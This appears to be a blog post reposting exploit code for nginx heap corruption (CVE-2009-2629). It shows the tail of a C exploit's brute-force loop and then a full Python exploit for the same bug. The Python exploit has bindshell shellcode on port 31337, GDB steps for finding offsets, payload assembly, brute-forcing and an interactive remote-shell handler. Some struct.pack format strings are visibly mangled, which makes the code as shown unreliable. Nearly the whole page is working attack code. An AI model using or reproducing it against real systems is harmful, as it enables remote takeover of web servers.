         if (base_addr) {
            printf("[*] exploiting nginx with ctx buffer at 0x%08x\n",
                   base_addr);
            exploit(server, atoi(port), base_addr, shellcode,
                    strlen(shellcode));
         } else {
            printf("[*] exploiting nginx with ctx buffer from "
                   "0x%08x to 0x%08x\n", bruteforce_from, bruteforce_to);
            for (base_addr = bruteforce_from; base_addr < bruteforce_to;
                 base_addr++) {
               printf("[*] exploiting nginx with ctx buffer at 0x%08x\n",
                      base_addr);
               exploit(server, atoi(port), base_addr, shellcode,
                       strlen(shellcode));
            }
         }
      }

    }

    return 0;
}

6 Eylül 2010 Pazartesi

nginx v0.6.38 Heap Corruption Exploit

#!/usr/bin/env python
#
# Exploit Title: nginx heap corruption
# Date: 08/26/2010
# Author: aaron conole
# Software Link: http://nginx.org/download/nginx-0.6.38.tar.gz
# Version: <= 0.6.38, <= 0.7.61
# Tested on: BT4R1 running nginx 0.6.38 locally
# CVE: 2009-2629
#
# note: this was written and tested against BT4. This means it's an
#       intel x86 setup (ie: offsets for 32-bit machine, etc.). YMMV
#       also - only tested successfully against nginx 0.6.38
#              you'll definitely need to modify against other versions
#
# you'll need to know where the offset is going to land, and what the pad is
# from that point to when you've tained execution flow.
#
# A quick way to find out just for verification would be to launch nginx,
# attach GDB to the worker and target it with the exploit, setting the offset
# to 0, or some other arbitrary value. It should crash on a piece of code which
# resembles:
#   if (ctx->offset)
#
# At that point, merely dump the *r; capture the value for the data pointer
# (it'll be the one with "GET //../Aa0") and add 131 to it (decimal 131 to the
# hex pointer value). That should give you a good area to test with. You might
# want to use the range at that point and set the last octet to 00.
#
# NOTE: you'll need a configuration with merge_slashes enabled. I haven't yet
#       found a "magic" combination that would cause the state machine to do
#       what I want to make the bug trigger. Once I do, you can bet BUG will be
#       replaced.
 
#Basically, on BT4:
#- compile
#- edit the configuration to enable merge slashes (just insert a line above the sendpage / sendfile config option "merge_slashes off;")
#- Launch nginx, and attach GDB to the worker
#- Send the exploit at it with offset 0x11111111
#- When the worker gets a sigsegv, it will be on a line which looks like "if (ctx->offset)", at that point type "p *r"
#- In the r data structure will be a few different fields, one which is a buffer that contains "GET //../Aa0Aa1Aa2..". This buffer has an address (lets say 0x8c1d32f).
#- Save off this address, and detach from the worker. A new one will spawn (the "manager" process will keep it going).
#- At this point, rerun the exploit, setting the offset to 0x8c1d300 and adding the -b flag
#- In a minute or two, you should be given the shell.
 
import os
import sys
import socket
import select
import struct
import time
import urllib
 
REQUEST_METHOD='GET '
 
# NOTE - this is a 32-bit null pointer. A 64-bit version would be 8-bytes (but take care to re-verify the structures)
NULLPTR='\x00\x00\x00\x00'
 
# NOTE - this shellcode was shamelessly stolen from the www
#        port 31337 bindshell for /bin/sh
SHELL='\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80\x89\xc7\x52\x66\x68\x7a\x69\x43\x66\x53\x89\xe1\xb0\x10\x50\x51\x57\x89\xe1\xb0\x66\xcd\x80\xb0\x66\xb3\x04\xcd\x80\x50\x50\x57\x89\xe1\x43\xb0\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80\x41\xe2\xf8\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x51\x53\x89\xe1\xb0\x0b\xcd\x80'
 
# Why did I write this up this way? Because given enough time, I think I can
# find a proper set of state change which can give me the same effect (ie: ../
# appearing as the 3rd, 4th, and 5th characters) at a later date.
# That's all controlled by the complex uri parsing bit, though.
DOUBLE_SLASH='//../'
 
BUG=DOUBLE_SLASH
 
# taken from the metasploit pattern_create.rb
PATTERN='Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4'
 
def connect_socket(host,port):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        sock.connect( (host, port) )
    except:
        return 0
    #sock.setblocking(0)
    return sock
 
def handle_connection(sock):
    while(1):
        r, w, e = select.select( [sock, sys.stdin],
                                 [],
                                 [sock, sys.stdin] )
        for s in r:
            if s == sys.stdin:
                buf = sys.stdin.readline()
                 
                try:
                    if buf != '':
                        sock.send(buf)
                except:
                    print "Xon close?"
                    return 0
                 
            elif s == sock:
                try:
                    buf = sock.recv(100)
                except:
                    print "Xon close?"
                    return 0
                if buf != '':
                    sys.stdout.write(buf)
 
def main(argv):
    argc = len(argv)
 
    if argc < 4:
        print "usage: %s [-b]" % (argv[0])
        print "[*] exploit for nginx <= 0.6.38 CVE 2009-2629"
        print "[*] host = the remote host name"
        print "[*] port = the remote port"
        print "[*] ctx_addr is where the context address should begin at"
        print "[*] -b specifies a brute-force (which will start at ctx_addr"
        sys.exit(0)
 
    host = argv[1]
    port = int(argv[2])
    ctx_addr = int(argv[3],16)
 
    brute_flag = 0
    if(argc == 5):
        brute_flag = 1
 
    testing = 1
 
    print "[*] target: %s:%d" % (host, port)
 
    try:
        sd = urllib.urlopen("http://%s:%d" % (host, port))
        sd.close()
    except IOError, errmsg:
        print "[*] error: %s" % (errmsg)
        sys.exit(1)
 
    print "[*] sending exploit string to %s:%d" % (host, port)
 
    while(testing):
         
        CTX_ADDRESS = struct.pack(',ctx_addr)
        CTX_OUT_ADDRESS = struct.pack(', ctx_addr-60)
        POOL_ADDRESS = struct.pack(',ctx_addr+56)
        DATA_ADDRESS = struct.pack(',ctx_addr+86)
        RANGE_ADDRESS = struct.pack(',ctx_addr+124)
        SHELL_ADDRESS = struct.pack(',ctx_addr+128)
 
        #PADDING
        SHELLCODE=PATTERN[:67]
 
        #the output context structure
        SHELLCODE+=NULLPTR*9+POOL_ADDRESS+NULLPTR*4+SHELL_ADDRESS
     
        #Magic
        SHELLCODE+=CTX_OUT_ADDRESS+CTX_ADDRESS+NULLPTR
 
        #this is the context object - some null ptrs, then we set range, then
        #pool address
        SHELLCODE+=NULLPTR*3+RANGE_ADDRESS+'\x01\x00\x00\x00'
        SHELLCODE+=NULLPTR*2+POOL_ADDRESS
 
        #this is the data buffer object
        SHELLCODE+=NULLPTR*4+SHELL_ADDRESS+NULLPTR
 
        #this is the pool memory structure ..
        SHELLCODE+=DATA_ADDRESS+NULLPTR+POOL_ADDRESS+NULLPTR*12+NULLPTR
 
        # this is the range structure
        SHELLCODE+='\xff\xff\xff\xff'+NULLPTR*3
 
        SHELLCODE+=SHELL
     
        payload = REQUEST_METHOD
        payload += BUG
        payload += SHELLCODE
        payload += ' HTTP/1.0\r\n\r\n'
 
        sd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sd.connect((host, port))
        sd.send(payload)
        sd.close()
 
        if (brute_flag):
            nsock = connect_socket(host,31337)
            if nsock != 0:
                print "[*] Successful Exploit via buffer: %x" % (ctx_addr)
                testing = 0
                handle_connection(nsock)
            else:
                ctx_addr = ctx_addr + 1
        else:
            testing = 0
    print "[*] FIN."
 
if __name__ == "__main__":
    main(sys.argv)
    sys.exit(0)
 
# EOF